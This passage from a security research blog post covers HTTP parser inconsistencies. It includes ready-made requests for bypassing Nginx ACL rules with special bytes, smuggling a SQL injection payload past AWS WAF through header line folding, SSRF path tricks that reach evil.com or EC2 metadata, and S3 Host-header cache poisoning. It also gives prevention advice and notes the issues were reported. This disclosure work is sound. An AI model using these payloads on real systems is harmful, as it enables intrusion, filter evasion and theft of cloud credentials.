    data = {<span class="hljs-string">"url"</span>:request.url, <span class="hljs-string">"admin"</span>:<span class="hljs-string">"True"</span>}

    <span class="hljs-keyword">return</span> Response(str(data), mimetype=<span class="hljs-string">"application/json"</span>)
</code></pre>
<p>As you can see below, it's possible to circumvent the ACL protection by adding the character <code>\x85</code> at the end of the pathname:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686753386536/4032be9b-c7f3-48ae-8074-5d9ad1f9e7a5.png" alt class="image--center mx-auto" /></p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Nginx Version</td><td><strong>Flask Bypass Characters</strong></td></tr>
</thead>
<tbody>
<tr>
<td>1.22.0</td><td><code>\x85</code>, <code>\xA0</code></td></tr>
<tr>
<td>1.21.6</td><td><code>\x85</code>, <code>\xA0</code></td></tr>
<tr>
<td>1.20.2</td><td><code>\x85</code>, <code>\xA0</code>, <code>\x1F</code>, <code>\x1E</code>, <code>\x1D</code>, <code>\x1C</code>, <code>\x0C</code>, <code>\x0B</code></td></tr>
<tr>
<td>1.18.0</td><td><code>\x85</code>, <code>\xA0</code>, <code>\x1F</code>, <code>\x1E</code>, <code>\x1D</code>, <code>\x1C</code>, <code>\x0C</code>, <code>\x0B</code></td></tr>
<tr>
<td>1.16.1</td><td><code>\x85</code>, <code>\xA0</code>, <code>\x1F</code>, <code>\x1E</code>, <code>\x1D</code>, <code>\x1C</code>, <code>\x0C</code>, <code>\x0B</code></td></tr>
</tbody>
</table>
</div><h2 id="heading-bypassing-nginx-acl-rules-with-spring-boot">Bypassing Nginx ACL Rules With Spring Boot</h2>
<p>Spring removes the characters <code>\x09</code> and <code>\x3B</code> from the URL path, but Nginx doesn't.</p>
<p>Take the following Nginx configuration/API source code as a reference:</p>
<pre><code class="lang-plaintext">location = /admin {
    deny all;
}

location = /admin/ {
    deny all;
}
</code></pre>
<pre><code class="lang-java"><span class="hljs-meta">@GetMapping("/admin")</span>
<span class="hljs-function"><span class="hljs-keyword">public</span> String <span class="hljs-title">admin</span><span class="hljs-params">()</span> </span>{
    <span class="hljs-keyword">return</span> <span class="hljs-string">"Greetings from Spring Boot!"</span>;
}
</code></pre>
<p>Below, you will find a demonstration of how ACL protection can be circumvented by adding the character <code>\x09</code> or <code>\t</code> at the end of the pathname:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686753921718/b3f91ea3-558f-4889-860c-15cdc02cb7f6.png" alt class="image--center mx-auto" /></p>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Nginx Version</td><td><strong>Spring Boot Bypass Characters</strong></td></tr>
</thead>
<tbody>
<tr>
<td>1.22.0</td><td><code>;</code></td></tr>
<tr>
<td>1.21.6</td><td><code>;</code></td></tr>
<tr>
<td>1.20.2</td><td><code>\x09</code>, <code>;</code></td></tr>
<tr>
<td>1.18.0</td><td><code>\x09</code>, <code>;</code></td></tr>
<tr>
<td>1.16.1</td><td><code>\x09</code>, <code>;</code></td></tr>
</tbody>
</table>
</div><h2 id="heading-bypassing-nginx-acl-rules-with-php-fpm-integration">Bypassing Nginx ACL Rules With PHP-FPM Integration</h2>
<p>PHP-FPM (FastCGI Process Manager) is a robust and high-performance PHP FastCGI implementation that works seamlessly with Nginx. It serves as a standalone server for handling PHP requests, improving the speed and efficiency of PHP execution. Nginx acts as a reverse proxy, receiving incoming HTTP requests and passing them to PHP-FPM for processing.</p>
<p>Let's consider the following Nginx FPM configuration:</p>
<pre><code class="lang-plaintext">location = /admin.php {
    deny all;
}

location ~ \.php$ {
    include snippets/fastcgi-php.conf;
    fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
</code></pre>
<p>When two <code>.php</code> files are in the same pathname of the HTTP request, PHP will match the first one, ignoring everything after the slash. Since the Nginx is configured to block requests to the specific endpoint <code>/admin.php</code>, it's possible to access the admin.php file by doing the following request:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686758750001/66ac562a-7da9-4397-a76a-1d641474e000.png" alt class="image--center mx-auto" /></p>
<p>Below is a graphical example of how the applications interpret the HTTP request:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686758967146/03073365-9dbf-4cf5-8762-1d705c9a038c.png" alt class="image--center mx-auto" /></p>
<p>This technique only works if the second PHP file, in this case, <code>index.php</code>, exists in the server structure. Take the following server code/structure as a reference:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686758832956/d0708099-48e0-46d0-b646-8bb92c51454a.png" alt class="image--center mx-auto" /></p>
<p>These behaviors were reported to the Nginx security team in 2022, and they responded by saying that they don't have responsibility for it.</p>
<p>Since the research concluded in April 2022, newer versions of Nginx were not specifically tested. However, it is highly likely that the findings and vulnerabilities identified in the research are reproducible in the latest version of Nginx as well.</p>
<h2 id="heading-how-to-prevent">How to prevent</h2>
<p>To prevent these issues, you must use the <code>~</code> expression Instead of the <code>=</code> expression on Nginx ACL rules, for example:</p>
<pre><code class="lang-plaintext">location ~* ^/admin {
    deny all;
}
</code></pre>
<p>The <code>~</code> expression matches the string <code>/admin</code> in any part of the pathname, in other words, if a user sent a request to <code>/admin1337</code>, the request will also be blocked.</p>
<h1 id="heading-bypassing-aws-waf-acl">Bypassing AWS WAF ACL</h1>
<h2 id="heading-how-aws-waf-acls-work">How AWS WAF ACLs Work</h2>
<p>AWS ACL (Access Control List) rules are a component of load balancers, providing control over incoming and outgoing network traffic. These rules define access permissions based on specified conditions, allowing or denying requests to and from the load balancer.</p>
<p>You can configure the AWS Web Application Firewall (WAF) ACL to examine and validate HTTP headers. AWS WAF ACL rules allow you to define conditions based on specific header attributes or values, enabling you to control and filter incoming requests.</p>
<p>Header ACL example:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686762641000/8f9c4e41-c17a-48d6-b2f5-72d76217e337.png" alt class="image--center mx-auto" /></p>
<p>In the above example, if a request contains a SQL Injection payload in the <code>X-Query</code> header, AWS WAF recognizes the SQL Injection attempt and responds with a <code>403 Forbidden</code> HTTP status code. This prevents the request from being forwarded to the backend, effectively blocking any potential exploitation of the application's database through SQL Injection attacks.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686763561032/d592bd74-2618-461d-9768-314549b691cf.png" alt class="image--center mx-auto" /></p>
<p>As you can see, the above request carried the payload <code>' or '1'='1' --</code> at the <code>X-Query</code> header, and then was blocked by the AWS WAF.</p>
<h2 id="heading-bypassing-aws-waf-acl-with-line-folding">Bypassing AWS WAF ACL With Line Folding</h2>
<p>Web servers like Node.js, Flask and many others sometimes encounter a phenomenon known as "line folding." Line folding refers to the practice of splitting long header values using the characters \x09 (tab) and \x20 (space) into multiple lines for readability. However, this behavior can lead to compatibility issues and potential security vulnerabilities.</p>
<p>For example, the header <code>1337: Value\r\n\t1337</code> in the following request will be interpreted as <code>1337: Value\t1337</code> in the Node.js server:</p>
<pre><code class="lang-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/</span> HTTP/1.1
<span class="hljs-attribute">Host</span>: target.com
<span class="hljs-attribute">1337</span>: Value
    1337
<span class="hljs-attribute">Connection</span>: close
</code></pre>
<p>Knowing it, I discovered that it's possible to bypass the AWS WAF by using line folding behavior.</p>
<p>Using the same AWS WAF that protects the <code>X-Query</code> from SQL Injection payloads, the following HTTP request was used to confirm that the Node.js server received the payload <code>' or '1'='1' --</code> in the <code>X-Query</code> header.</p>
<p>Below is a graphical example of how the applications interpret the HTTP request header with line folding:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686765599948/440f51b0-18bb-451c-92da-3428000cd7f0.png" alt class="image--center mx-auto" /></p>
<p>For the exploitation scenario, let's take the following Node.js source code as a reference. It will return the requested headers as a Json:</p>
<pre><code class="lang-javascript">app.get(<span class="hljs-string">'/*'</span>, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
    res.send(req.headers);
});
</code></pre>
<p>Below is an example of an exploitation request:</p>
<pre><code class="lang-http"><span class="hljs-attribute">GET / HTTP/1.1\r\n
Host</span>: target.com\r\n
<span class="hljs-attribute">X-Query</span>: Value\r\n
\t' or '1'='1' -- \r\n
<span class="hljs-attribute">Connection</span>: close\r\n
\r\n
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686765362775/dbd69c56-503e-45bb-ada6-358d3d987ede.png" alt class="image--center mx-auto" /></p>
<p>In the provided screenshot, it is evident that the Node.js application interpreted the characters <code>' or '1'='1' --</code> as the value for the <code>X-Query</code> header. However, the AWS WAF treated it as a header name instead.</p>
<p>This bypass technique was reported to the AWS security team and fixed in 2022.</p>
<h1 id="heading-incorrect-path-parsing-leads-to-server-side-request-forgery">Incorrect Path Parsing Leads to Server-Side Request Forgery</h1>
<p>In the previous sections, I provided reasons to be cautious about trusting reverse proxies. However, in this section, I will demonstrate why utilizing a reverse proxy can be advantageous...</p>
<p>In this section, I will leverage an incorrect pathname interpretation to exploit a Server-Side Request Forgery vulnerability in popular servers and frameworks such as Spring Boot, Flask, and PHP.</p>
<p>Normally, a valid HTTP pathname starts with <code>/</code> or <code>http(s)://domain/</code>, but the majority of the popular WEB servers do not verify it correctly, which can lead to a security risk.</p>
<h2 id="heading-ssrf-on-flask-through-incorrect-pathname-interpretation">SSRF on Flask Through Incorrect Pathname Interpretation</h2>
<p>Flask is a lightweight web framework for Python, and it offers a straightforward and flexible approach to web development.</p>
<p>After conducting tests on Flask's pathname parsing, I discovered that it accepts certain characters that it shouldn't. As an example, the following HTTP request, which should be considered invalid, is surprisingly treated as valid by the framework, but the server responds <code>404 Not Found</code>:</p>
<pre><code class="lang-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">@/</span> HTTP/1.1
<span class="hljs-attribute">Host</span>: target.com
<span class="hljs-attribute">Connection</span>: close
</code></pre>
<p>While investigating how this behavior can potentially result in a security vulnerability, I came across a helpful <a target="_blank" href="https://medium.com/@zwork101/making-a-flask-proxy-server-online-in-10-lines-of-code-44b8721bca6">Medium blog post</a> that demonstrates the creation of a proxy using the Flask framework. Below is an example of the code provided in the blog post:</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> flask <span class="hljs-keyword">import</span> Flask
<span class="hljs-keyword">from</span> requests <span class="hljs-keyword">import</span> get

app = Flask(<span class="hljs-string">'__main__'</span>)
SITE_NAME = <span class="hljs-string">'https://google.com/'</span>

<span class="hljs-meta">@app.route('/', defaults={'path': ''})</span>
<span class="hljs-meta">@app.route('/&lt;path:path&gt;')</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">proxy</span>(<span class="hljs-params">path</span>):</span>
  <span class="hljs-keyword">return</span> get(<span class="hljs-string">f'<span class="hljs-subst">{SITE_NAME}</span><span class="hljs-subst">{path}</span>'</span>).content

app.run(host=<span class="hljs-string">'0.0.0.0'</span>, port=<span class="hljs-number">8080</span>)
</code></pre>
<p>My first thought was: "<em>What if the developer forgets to add the last slash in the</em> <code>SITE_NAME</code> <em>variable?</em>". And yes, it can lead to an SSRF.</p>
<p>Since Flask also allows any ASCII character after the <code>@</code>, it's possible to fetch an arbitrary domain after concatenating the malicious pathname and the destination server.</p>
<p>Please consider the following source code as a reference for the exploitation scenario:</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> flask <span class="hljs-keyword">import</span> Flask
<span class="hljs-keyword">from</span> requests <span class="hljs-keyword">import</span> get

app = Flask(<span class="hljs-string">'__main__'</span>)
SITE_NAME = <span class="hljs-string">'https://google.com'</span>

<span class="hljs-meta">@app.route('/', defaults={'path': ''})</span>
<span class="hljs-meta">@app.route('/&lt;path:path&gt;')</span>

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">proxy</span>(<span class="hljs-params">path</span>):</span>
  <span class="hljs-keyword">return</span> get(<span class="hljs-string">f'<span class="hljs-subst">{SITE_NAME}</span><span class="hljs-subst">{path}</span>'</span>).content

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    app.run(threaded=<span class="hljs-literal">False</span>)
</code></pre>
<p>Presented below is an example of an exploitation request:</p>
<pre><code class="lang-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">@evildomain.com/</span> HTTP/1.1
<span class="hljs-attribute">Host</span>: target.com
<span class="hljs-attribute">Connection</span>: close
</code></pre>
<p>In the following example, I was able to fetch my EC2 metadata:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686771183056/fe166abf-b2cb-41be-846b-11ac56b33d71.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation">SSRF on Spring Boot Through Incorrect Pathname Interpretation</h2>
<p>Upon discovering the presence of an SSRF vulnerability in Flask, I delved into exploring how this behavior could be exploited in other frameworks. As my research progressed, it became apparent that Spring Boot is also susceptible to this particular issue.</p>
<p>Authentication bypasses, ACL bypasses, and path traversal are known vectors when the application parses Matrix parameters. Servlet matrix parameters are a feature introduced in the Servlet specification that allows you to extract and handle additional data present in the URL path. Unlike query parameters that are separated by the <code>?</code> character, matrix parameters are separated by the <code>;</code> character within the URL.</p>
<p>During the research, I discovered that the Spring framework accepts the matrix parameter separator character <code>;</code> before the first slash of the HTTP pathname:</p>
<pre><code class="lang-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">;1337/api/v1/me</span> HTTP/1.1
<span class="hljs-attribute">Host</span>: target.com
<span class="hljs-attribute">Connection</span>: close
</code></pre>
<p>If a developer implements a server-side request that utilizes the complete pathname of the request to fetch an endpoint, it can lead to the emergence of Server-Side Request Forgery (SSRF).</p>
<p>Please consider the following source code as a reference for the exploitation scenario:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686772007869/5661fff8-9e48-4c63-b78b-cb69ee0582c0.png" alt class="image--center mx-auto" /></p>
<p>The code snippet above utilizes the <code>HttpServletRequest</code> API to retrieve the requested URL through the <code>getRequestURI()</code> function. Subsequently, it concatenates the requested URI with the destination endpoint http://ifconfig.me.</p>
<p>Considering that Spring permits any character following the Matrix parameter separator, becoming possible to use the <code>@</code> character to fetch an arbitrary endpoint as well.</p>
<p>Below is an example of the exploit request:</p>
<pre><code class="lang-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">;@evil.com/url</span> HTTP/1.1
<span class="hljs-attribute">Host</span>: target.com
<span class="hljs-attribute">Connection</span>: close
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686772361453/e66a9edf-a590-4d82-b75a-180c33ae1a21.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-php-built-in-web-server-case-study-ssrf-through-incorrect-pathname-interpretation">PHP Built-in Web Server Case Study - SSRF Through Incorrect Pathname Interpretation</h2>
<p>The PHP Built-in web server suffers from the same vulnerability. Still, the Built-in server is not used in production involvements, so I decided to present this behavior as a case study that is unlikely to happen in real-world applications.</p>
<p>Surprisingly, PHP allows the asterisk <code>*</code> character before the first slash in the pathname, and between the asterisk and the first slash, almost all ASCII characters are accepted as valid HTTP request.</p>
<p>However, there are two limitations that arise with PHP:</p>
<ol>
<li><p>This technique can only be used for the root pathname <code>/</code> and cannot be applied to other endpoints, in other words, the vulnerable code must be in the <code>index.php</code> file;</p>
</li>
<li><p>Dots <code>.</code> are not allowed before the first slash, which restricts the inclusion of arbitrary IPs and domains, to circumvent it, the payload must include a dotless-hex encoded IP address of the malicious domain.</p>
</li>
</ol>
<p>Let's consider the following PHP code for this exploitation scenario:</p>
<pre><code class="lang-php"><span class="hljs-meta">&lt;?php</span>
$site = <span class="hljs-string">"http://ifconfig.me"</span>;
$current_uri = $_SERVER[<span class="hljs-string">'REQUEST_URI'</span>];

$proxy_site = $site.$current_uri;
var_dump($proxy_site);

<span class="hljs-keyword">echo</span> <span class="hljs-string">"\n\n"</span>;

$response = file_get_contents($proxy_site);
var_dump($response);
<span class="hljs-meta">?&gt;</span>
</code></pre>
<p>The provided code retrieves the HTTP request pathname using <code>$_SERVER['REQUEST_URI']</code> and concatenates it with the destination domain.</p>
<p>For performing IP address dotless-hex encoding, you can utilize the tool <a target="_blank" href="https://gist.github.com/mhmdiaa/2587e2330b87db99c81ace2a190e235f">ip-encoder.py</a>.</p>
<p>The resulting payload used for exploiting which fetches the EC2 metadata is as follows:</p>
<pre><code class="lang-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">*@0xa9fea9fe/</span> HTTP/1.1
<span class="hljs-attribute">Host</span>: target.com
<span class="hljs-attribute">Connection</span>: close
</code></pre>
<p>In the following proof of concept, I successfully retrieved my EC2 metadata:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686789542807/4ca585ed-37e3-4384-bec0-ba2c6e59e75a.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-how-to-prevent-1">How to prevent</h2>
<ul>
<li><p>It is essential to consistently employ complete URL domains when concatenating them with user input. For instance, ensure that a trailing slash is added after the domain name, such as <code>http://ifconfig.me/</code>.</p>
</li>
<li><p>Utilizing a reverse proxy that effectively handles HTTP requests. The vulnerabilities mentioned are typically only possible if the framework is used without any additional reverse proxy that verifies the HTTP pathname. In other words, incorporating a reverse proxy can significantly enhance the security of the web application.</p>
</li>
</ul>
<h1 id="heading-http-desync-cache-poisoning-attacks">HTTP Desync Cache Poisoning Attacks</h1>
<p>Inconsistencies exist among servers and reverse proxies when it comes to removing invalid invisible characters from header names before interpreting them. This inconsistency can lead to notable vulnerabilities, such as HTTP Request Smuggling. But in this section, I will discuss a vulnerability and technique that I discovered during my research that combines Desync attacks with Cache Poisoning, which affects cache servers when integrated with AWS S3 buckets.</p>
<p>But before we continue, we must understand some functionalities of cache servers.</p>
<h2 id="heading-cache-keys">Cache Keys</h2>
<p>Cache keys are unique identifiers used by cache servers to store and retrieve cached data, they serve as references or labels that allow access to cached content.</p>
<p>The most frequently used cache key is typically derived from the URL's pathname. When a user sends a request to a server that utilizes caching, the cache server employs the requested URL to locate the corresponding cached response to serve back to the user.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686943618847/430c595b-b7ca-4dec-b31c-58374b1d0a30.webp" alt class="image--center mx-auto" /></p>
<p>In addition to the URL's pathname, another default cache key is the Host header. Let's consider a scenario where a cached JavaScript file is located at <code>https://target.com/static/main.js</code>. When a user sends an HTTP request to this cached URL, the cache server will return the stored response without having to forward the request to the backend server.</p>
<p>However, if a user sends an HTTP request to the same endpoint but modifies the Host header to <code>1337.target.com</code>, the cache server will attempt to retrieve the backend of the corresponding response for the <code>/static/main.js</code> URL using the <code>1337.target.com</code> host header. Subsequently, it will generate a stored response specifically for that particular HTTP message.</p>
<h2 id="heading-s3-http-desync-cache-poisoning-issue">S3 HTTP Desync Cache Poisoning Issue</h2>
<p>In this section, I will demonstrate an HTTP Desync vulnerability that can result in Cache Poisoning, impacting principally AWS S3 buckets.</p>
<p>In the Amazon AWS S3 buckets, the Host header plays a crucial role in routing requests to the correct bucket and enabling proper access to the stored content. When interacting with an S3 bucket, the Host header helps direct requests to the appropriate endpoint within the AWS infrastructure.</p>
<p>When a request is made to an S3 bucket, the AWS infrastructure inspects the Host header to determine the target bucket. So if a user sends an HTTP request to the domain <code>your.s3.amazonaws.com</code> but changes the host header to <code>my.s3.amazonaws.com</code>, internally, AWS will "ignore" the domain name, fetching the bucket specified in the host header only. This is a common practice on Cloud services.</p>
<h3 id="heading-the-vulnerability">The Vulnerability</h3>
<p>The interpretation of host headers for S3 buckets involves two key aspects:</p>
<ol>
<li><p>When multiple host headers are included in the request, only the first one will be taken, and any additional headers will be ignored.</p>
</li>
<li><p>The following bytes are ignored if present in the header name: <code>\x1f</code>, <code>\x1d</code>, <code>\x0c</code>, <code>\x1e</code>, <code>\x1c</code>, <code>\x0b</code>;</p>
</li>
</ol>
<p>The vulnerability arises from an inconsistency in the host header interpretation. If the cache server mistakenly includes the ignored bytes as part of the header name, treating it as an invalid host header, while S3 interprets it as a valid host header, it becomes possible to cache arbitrary bucket responses on vulnerable websites.</p>
<p>This behavior allows caching arbitrary S3 bucket content in vulnerable websites.</p>
<p>Consider the following exploitation request:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1686958907855/ffd360e3-5eb8-4ffd-939d-b46614f9f430.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-http"><span class="hljs-keyword">GET</span> <span class="hljs-string">/</span> HTTP/1.1
[\x1d]Host: evilbucket.com
<span class="hljs-attribute">Host</span>: example.bucket.com
<span class="hljs-attribute">Connection</span>: close
</code></pre>
<ul>
<li><p>First, the cache server examines the header <code>\x1dHost: evilbucket.com</code> and treats it like any other unkeyed header;</p>
</li>
<li><p>Subsequently, the cache server will correctly interpret the <code>example.bucket.com</code> header as a valid host header, resulting in the final cache response being associated with this host value.</p>
</li>
<li><p>Upon reaching the S3 bucket, the header <code>\x1dHost: evilbucket.com</code> will be mistakenly interpreted as a valid host header, while the intended <code>Host: example.bucket.com</code> header will be ignored. This misinterpretation by AWS will lead to the fetching of the malicious header's associated bucket.</p>
</li>
</ul>
<p>The final result is a complete cache poisoning of the page with arbitrary content.</p>
<p>The proof of concept video demonstrates the exploitation of this vulnerability in an outdated Varnish cache server. It is important to note that newer versions of Varnish are not susceptible to this vulnerability:</p>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" href="https://www.youtube.com/watch?v=dnf6Zi5eNW8">https://www.youtube.com/watch?v=dnf6Zi5eNW8</a></div>
<p> </p>
<p>In addition to Varnish, other cache servers such as Akamai were also vulnerable to this issue. However, it's important to note that this vulnerability has been addressed and cannot be reproduced on any AWS service today.</p>
<h1 id="heading-conclusion">Conclusion</h1>
<p>In conclusion, this research delved into the realm of security vulnerabilities in web applications, specifically focusing on HTTP parsers and the implications they can have on overall security. By exploring inconsistencies in HTTP parsers across various technologies, such as load balancers, reverse proxies, web servers, and caching servers, I unveiled potential avenues for exploitation.</p>
<p>I demonstrated how certain behaviors, like path normalization and the acceptance of special characters, can lead to bypassing security rules and even opening the door to Server-Side Request Forgery (SSRF) and Cache Poisoning vulnerabilities.</p>
<p>Moreover, I highlighted the significance of utilizing reverse proxies that effectively validate and sanitize HTTP requests. Implementing a robust reverse proxy can significantly bolster the security posture of a web application by intercepting and filtering malicious requests before they reach the backend servers.</p>
]]></content:encoded></item></channel></rss>